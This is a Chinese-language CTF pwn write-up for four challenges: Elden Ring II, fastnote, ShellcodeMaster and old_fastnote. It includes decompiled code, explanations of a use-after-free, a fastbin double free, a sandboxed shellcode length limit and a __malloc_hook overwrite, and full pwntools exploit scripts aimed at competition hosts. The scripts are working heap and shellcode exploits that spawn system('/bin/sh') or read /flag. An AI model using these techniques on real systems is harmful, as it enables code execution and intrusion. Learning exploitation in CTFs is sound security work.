pwn

Elden Ring Ⅱ

一个heap manager相关的题目,glibc 2.31,没有pie,包括add edit show delete四个功能,在delete这里有一个uaf

void delete_note()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%u", &v0);
  if ( v0 <= 0xF )
  {
    if ( notes[v0] )
      free((void *)notes[v0]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
}

通过uaf 去写 tcache 的 next指针为 puts_got的地址,分配到put_got上,用show去泄露libc_base,然后写free_hook为system,去free一块 内容是/bin/sh的堆

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.137.175"
PORT = 31853

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size):
    sla(">","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def delete_note(idx):
    sla(">","2")
    sla("Index: ",str(idx))

def edit_note(idx,content):
    sla(">","3")
    sla("Index: ",str(idx))
    sa("Content: ",content)

def show_note(idx):
    sla(">","4")
    sla("Index: ",str(idx))

p = connect()


add_note(0,0x70)
add_note(1,0x70)

delete_note(0)
delete_note(1)

puts_got = elf.got['puts']

edit_note(1,p64(puts_got))
add_note(2,0x70)
add_note(3,0x70)

show_note(3)

libc_base = r_leak_libc_64() - libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(libc_base))
success(hex(free_hook))

add_note(4,0x70)
add_note(5,0x70)
delete_note(4)
delete_note(5)

edit_note(5,p64(free_hook))

add_note(6,0x70)
add_note(7,0x70)

edit_note(7,p64(system))
edit_note(6,b'/bin/sh')

delete_note(6)


# g(p)




p.interactive()

fastnote

咱好笨,想了好久才做出来,学到新思路了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3u:
          delete();
          break;
        case 1u:
          add();
          break;
        case 2u:
          show();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    ptr = (void *)notes[v1];
    if ( ptr )
    {
      free(ptr);
      ptr = 0LL;
    }
    else
    {
      puts("No such note.");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", size);
      if ( size[0] <= 0x80u )
        break;
      puts("Too big!");
    }
    v0 = v2;
    notes[v0] = malloc(size[0]);
    printf("Content: ");
    read(0, (void *)notes[v2], size[0]);
  }
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( notes[v1] )
  {
    puts((const char *)notes[v1]);
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}

有 add show delete三个功能,delete那存在一个uaf,这个麻烦的地方往堆块写入数据和创建堆块的功能合在一起了,也就是不能直接通过uaf往free掉的堆块里面写数据,但是可以通过double free fastbin构造一个这样的链 main_arena -> A -> B -> A

通过第一次malloc往 A fd位置写入free_hook的地址,这样这个链就变成 main_arena -> A -> B -> A -> free_hook

第二次malloc把B卸下来,第三次malloc把A卸下来,第四次malloc就会分配到free_hook那了

在free_hook中写system的地址,然后去free一个内容为binsh的堆,相当于执行system(binsh)

然后还有个问题就 通过unsortedbin去泄露libc那,如果unsortedbin和top chunk中间没有东西挡着的话,会合并在一起,因为程序有pie,那只能通过unsortedbin去泄露main_arena的地址算libc的基地址,如果没有pie的话,那改fastbin 或者 tcache的fd next为got表然后show就能泄露了,不过这里edit和add合在一起了,tcache bin有一个key的检查,所以通过tcache bin的思路是不行的

exp

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "47.100.137.175"
PORT = 30932

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size,content):
    sla("Your choice:","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
    sa("Content: ",content)

def delete_note(idx):
    sla("Your choice:","3")
    sla("Index: ",str(idx))


def show_note(idx):
    sla("Your choice:","2")
    sla("Index: ",str(idx))

p = connect()

for i in range(9):
    add_note(i,0x80,"AAAAAA")

for i in range(8):
    delete_note(i)


show_note(2)
tcache_key = u64(rl()[:-1].ljust(8,b'\x00')) - (0x561c766e7320 - 0x561c766e7000)
success(f"tcache_key ->{hex(tcache_key)}")

show_note(7)
libc_base =  r_leak_libc_64() - (0x7ff83873ebe0 - 0x7ff838552000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")

# 还原 bin状态
for i in range(8):
    add_note(i,0x80,"AAAAAA")


# 分配两个fastbin
for i in range(9):
    add_note(i,0x70,"BBBB")

for i in range(9):
    delete_note(i)

# main_arena -> 8 -> 7
# main_arena -> 7 -> 8 -> 7 -> free_hook
delete_note(7)

for i in range(7):
    add_note(i,0x70,"BBBB")

add_note(7,0x70,p64(free_hook))
add_note(11,0x70,b"/bin/sh")
add_note(7,0x70,"CCCCCCC")
add_note(7,0x70,p64(system))

delete_note(11)
# g(p)


p.interactive()

ShellcodeMaster

好巧妙这一题,没有pie 有一个沙箱 把execve 和 execveat给禁用了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init();
  sandbox(argc, argv);
  buf = (void *)(int)mmap((void *)0x2333000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode\n");
  read(0, buf, 0x16uLL);
  puts("Love!");
  mprotect(buf, 0x1000uLL, 4);
  JUMPOUT(0x2333000LL);
}

有个mprotect() 把写的权限给去掉了,然后在后边有这么一段把mprotect(buf, 0x1000uLL, 4); 残留的寄存器给清空了,还有rbp rsp也改成 2333h,也就是不能通过push pop去修改寄存器,push和pop 指令只占一个字节,0x16字节打orw显然是不够的,思路是用mprotect把mmap出来的段写的权限恢复,然后再read一遍

.text:0000000000401386 49 C7 C7 00 30 33 02          mov     r15, 2333000h
.text:000000000040138D 48 C7 C0 33 23 00 00          mov     rax, 2333h
.text:0000000000401394 48 C7 C3 33 23 00 00          mov     rbx, 2333h
.text:000000000040139B 48 C7 C1 33 23 00 00          mov     rcx, 2333h
.text:00000000004013A2 48 C7 C2 33 23 00 00          mov     rdx, 2333h
.text:00000000004013A9 48 C7 C4 33 23 00 00          mov     rsp, 2333h
.text:00000000004013B0 48 C7 C5 33 23 00 00          mov     rbp, 2333h
.text:00000000004013B7 48 C7 C6 33 23 00 00          mov     rsi, 2333h
.text:00000000004013BE 48 C7 C7 33 23 00 00          mov     rdi, 2333h
.text:00000000004013C5 49 C7 C0 33 23 00 00          mov     r8, 2333h
.text:00000000004013CC 49 C7 C1 33 23 00 00          mov     r9, 2333h
.text:00000000004013D3 49 C7 C2 33 23 00 00          mov     r10, 2333h
.text:00000000004013DA 49 C7 C3 33 23 00 00          mov     r11, 2333h
.text:00000000004013E1 49 C7 C4 33 23 00 00          mov     r12, 2333h
.text:00000000004013E8 49 C7 C5 33 23 00 00          mov     r13, 2333h
.text:00000000004013EF 49 C7 C6 33 23 00 00          mov     r14, 2333h
.text:00000000004013F6 41 FF E7                      jmp     r15
.text:00000000004013F6
.text:00000000004013F6                               main endp

但是搓了很久,最短的汇编都要23个字节,差一个字节

shellcode = asm('''
mov ax,10
mov edi,r15d
mov dx,7
syscall
xor eax,eax
mov esi,edi
xor edi,edi
xor edx,esi
syscall
''')

执行完mprotect后 rcx寄存器 有一个地址是能用的,可以用rcx寄存器作为基地址残留下来的rdx作为read的长度再read一次,然后通过输入修改rdx寄存器 再syscall一次read,但是 0x7的长度 算上填充就不够用了,后面发现 mprotect是有四个标志位的,所以 rdx为0xf也是能mprotect成功的,试了一下五个标志位,发现mprotect失败了,所以rdx最多为 0xf。0xf的话长度就够了,这样就通过两次read 间接的修改寄存器绕过了长度限制,然后写orw就好了

exp

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "106.15.72.34"
PORT = 31558

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


p = connect()

#  RAX  0x2333
#  RBX  0x2333
#  RCX  0x2333
#  RDX  0x2333
#  RDI  0x2333
#  RSI  0x2333
#  R8   0x2333
#  R9   0x2333
#  R10  0x2333
#  R11  0x2333
#  R12  0x2333
#  R13  0x2333
#  R14  0x2333
#  R15  0x2333000 ◂— xor rdi, rdi
#  RBP  0x2333
#  RSP  0x2333
# *RIP  0x2333000 ◂— xor rdi, rdi

shellcode = asm('''
mov ax,10
shl edi,12
mov dx,0xf
syscall

xor eax,eax
xor edi,edi
mov esi,ecx
syscall
''')
print(len(shellcode))

ru("shellcode")
# g(p)
s(shellcode)


#  RAX  0xfffffffffffffff4
#  RBX  0x2333
# *RCX  0x233300d ◂— xor eax, eax /* 0x50fff31fe89c031 */
#  RDX  0xf
#  RDI  0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
#  RSI  0x2333
#  R8   0x2333
#  R9   0x2333
#  R10  0x2333
# *R11  0x306
#  R12  0x2333
#  R13  0x2333
#  R14  0x2333
#  R15  0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
#  RBP  0x2333
#  RSP  0x2333
# *RIP  0x233300d ◂— xor eax, eax /* 0x50fff31fe89c031 */
# ────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
#    0x4013f6  <main+276>    jmp    r15
#     ↓
#    0x2333000               mov    ax, 0xa
#    0x2333004               shl    edi, 0xc
#    0x2333007               mov    dx, 0xf
#    0x233300b               syscall 
#  ► 0x233300d               xor    eax, eax
#    0x233300f               mov    esi, edi
#    0x2333011               xor    edi, edi
#    0x2333013               syscall 
#    0x2333015               add    byte ptr [rax], al
#    0x2333017               add    byte ptr [rax], al

shellcode = asm('nop') * (0x2333015 - 0x233300d)
# print(0xf - len(shellcode))
# 7 

# *RAX  0xe
#  RBX  0x2333
#  RCX  0x2333015 ◂— mov dx, 0x80 /* 0x50f0080ba66 */
#  RDX  0xf
#  RDI  0x0
#  RSI  0x233300d ◂— nop  /* 0x9090909090909090 */
#  R8   0x2333
#  R9   0x2333
#  R10  0x2333
# *R11  0x346
#  R12  0x2333
#  R13  0x2333
#  R14  0x2333
#  R15  0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
#  RBP  0x2333
#  RSP  0x2333
#  RIP  0x2333015 ◂— mov dx, 0x80 /* 0x50f0080ba66 */

shellcode += asm('''
mov dl,0xff
mov al,0
syscall
''')
# g(p)
s(shellcode)

#  RAX  0x0
#  RBX  0x2333
#  RCX  0x2333015 ◂— mov dl, 0xff /* 0x50f00b0ffb2 */
#  RDX  0xff
#  RDI  0x0
#  RSI  0x233300d ◂— nop  /* 0x9090909090909090 */
#  R8   0x2333
#  R9   0x2333
#  R10  0x2333
#  R11  0x346
#  R12  0x2333
#  R13  0x2333
#  R14  0x2333
#  R15  0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
#  RBP  0x2333
#  RSP  0x2333
# *RIP  0x2333019 ◂— 0x50f
# ────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
#    0x2333015    mov    dl, 0xff
#    0x2333017    mov    al, 0
#  ► 0x2333019    syscall  <SYS_read>
#         fd: 0x0 (pipe:[434190])
#         buf: 0x233300d ◂— nop  /* 0x9090909090909090 */
#         nbytes: 0xff
#    0x233301b    add    byte ptr [rax], al
#    0x233301d    add    byte ptr [rax], al
#    0x233301f    add    byte ptr [rax], al
#    0x2333021    add    byte ptr [rax], al
#    0x2333023    add    byte ptr [rax], al
#    0x2333025    add    byte ptr [rax], al
#    0x2333027    add    byte ptr [rax], al
#    0x2333029    add    byte ptr [rax], al

shellcode = asm('nop') * 0x10
# 读入flag字符串
shellcode += asm('''
xor rax,rax
mov rdi,0
mov rsi,r15
syscall

mov rax,2
mov rdi,r15
mov rsi,0
syscall

xor rax,rax
mov rdi,3
mov rsi,r15
mov rdx,0x40
syscall

mov rax,1
mov rdi,1
mov rsi,r15
mov rdx,0x40
syscall       
''')

s(shellcode)
# g(p)
s(b"/flag\x00")

p.interactive()

old_fastnote

和fastnote的代码逻辑一样,但是glibc变成了2.23,没有tcache,fastbin attack的时候会对size位做一个检查,如果不符合fastbin的大小就会报错,在__malloc_hook - 0x23的位置有一个合适的”size”位,通过fastbin attack 在 malloc_hook - 0x23位置分配一个chunk,然后把mallc_hook改成one_gadget就打通了

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "106.14.57.14"
PORT = 30407

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size,content):
    sla("Your choice:","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
    sa("Content: ",content)

def delete_note(idx):
    sla("Your choice:","3")
    sla("Index: ",str(idx))


def show_note(idx):
    sla("Your choice:","2")
    sla("Index: ",str(idx))

p = connect()



add_note(0,0x80,"AAAAA")
add_note(1,0x80,"AAAAA")

delete_note(0)
show_note(0)

leak_addr = u64(rl()[:-1].ljust(8,b'\x00'))
main_arena = leak_addr - (0x7f51dafc4b78 - 0x7f51dafc4b20)
libc_base =  leak_addr - (0x7f13e2bc4b78 - 0x7f13e2800000)
global_max_fast = leak_addr + (0x7fe87fdc67f8 - 0x7fe87fdc4b78)
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']


success(f"libc_base ->{hex(libc_base)}")
success(f"main_arena ->{hex(main_arena)}")
success(f"global_max_fast ->{hex(global_max_fast)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"malloc_hook ->{hex(malloc_hook)}")
add_note(0,0x80,"AAAAA")


add_note(2,0x60,"BBBB")
add_note(3,0x60,"BBBB")
delete_note(2)
delete_note(3)
delete_note(2)

target = main_arena + (0x7f74237c4b4d - 0x7f74237c4b20)
success(hex(target))

one_gadget = libc_base + 0xf1247

add_note(2,0x60,p64(malloc_hook - 0x23))
add_note(3,0x60,b"BBBB")
add_note(2,0x60,"BBBB")
# g(p)
add_note(2,0x60,b'a' * 0x13 + p64(one_gadget))

p.sendlineafter(b'choice:',b'1')
p.sendlineafter(b'Index: ',str(2))
p.sendlineafter("Size: ",str(0x60))

p.interactive()
⬆︎TOP